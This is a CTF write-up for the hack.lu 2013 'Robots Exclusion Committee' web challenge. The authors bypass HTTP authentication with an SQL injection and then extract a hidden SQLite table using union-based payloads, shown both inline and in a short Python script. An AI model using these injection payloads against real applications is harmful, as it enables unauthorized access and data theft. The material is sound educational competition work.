hack.lu 2013 - Web 150: Robots Exclusion Committee

For this year's hack.lu CTF, we weren't really able to participate much since essentially all of us are busy with the upcoming Security & Privacy deadline, grant meetings, traveling or simply have to prepare for CCS.

Regardless, kapravel and I took a short break, attacked, and solved web 150: Robots Exclusion Committee together. Don't forget to give him the credit he deserves :)

After we initially toyed around with the web application a bit, we took a stab at the robots.txt file:

User-agent: WallE
Disallow: /

# Keep em' away
User-agent: *
Disallow: /vault
robots.txt

The directory /vault looked quite promising given that it should not be indexed by any user-agent. We were even more curious once we visited the overall URL https://ctf.fluxfingers.net:1315/vault and were shown a HTTP authentication prompt. A prompt we quickly figured out that was vulnerable to SQL injection like the following username showed us:

' or 1=1; --
Initial SQL injection in username

The authentication was already solved, we only needed to extract the secret now. First, we discovered that the output of this query is returned in the user greeting, at least it wasn't a blind SQL injection. We could now start by enumerating the tables of the database. The usual approach through information_schema failed, leading us to believe that neither MySQL nor PostgreSQL were at work, but that SQLite might be used instead. The SQLite specific method to enumerate the tables worked like a charm:

shellphish' union select tbl_name from sqlite_master; --
SQL injection to enumerate tables

Luckily, on the first try we were already given a table "hiddensecrets", let's get an idea how its columns are defined by looking at its schema:

shellphish' union select sql from sqlite_master where tbl_name='hiddensecrets'; --
SQL injection to retrieve schema
CREATE TABLE hiddensecrets (id INTEGER PRIMARY KEY AUTOINCREMENT, val TEXT)
Schema definiton

Following the challenge description that asks us to retrieve the first blurry secret, the last step was straight-forward.

If you bring us the first of their blurriest secrets, we will award you with useless points. 
Challenge description

We simply retrieved the value corresponding to id=1 from the "hiddensecrets". table and open it in an image viewer:

"shellphish' union select val from hiddensecrets where id=1; --
SQL injection to retrieve the secret

This last injection gave us the base64 encoded version of the solution image for the challenge:

Solution to hack.lu 2013 Web 150 challenge.

Leading us to the solution "eat_all_robots".

Overall, the challenge was quite straight-forward once we had identified the SQL injection in the HTTP authentication. This time, we were able to reuse our code from our solutions to the CSAW quals two web400 challenges, which made solving this challenge much easier. The resulting Python code (injection must be modified for each step) we used to solve the challenge looks like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python 
# -*- coding: utf-8 -*- 

__author__ = "cao; kapravel" 
__description__ = "hacklu13: web150/robots-exclusion-committee" 
__version__ = "1.0" 

URL = "https://ctf.fluxfingers.net:1315/vault" 

import requests as r 
from re import findall

tables = "shellphish' union select tbl_name from sqlite_master; --"
sql = "shellphish' union select sql from sqlite_master where tbl_name='hiddensecrets'; --"
image = "shellphish' union select val from hiddensecrets where id=1; --"

injection = image

response = r.get(URL, auth=(injection, ""), verify=False)
matches = findall(r'<a href="#hello">Hello ([^<]+)', response.text)

if not matches:
    print response.text

    for m in matches:
        print m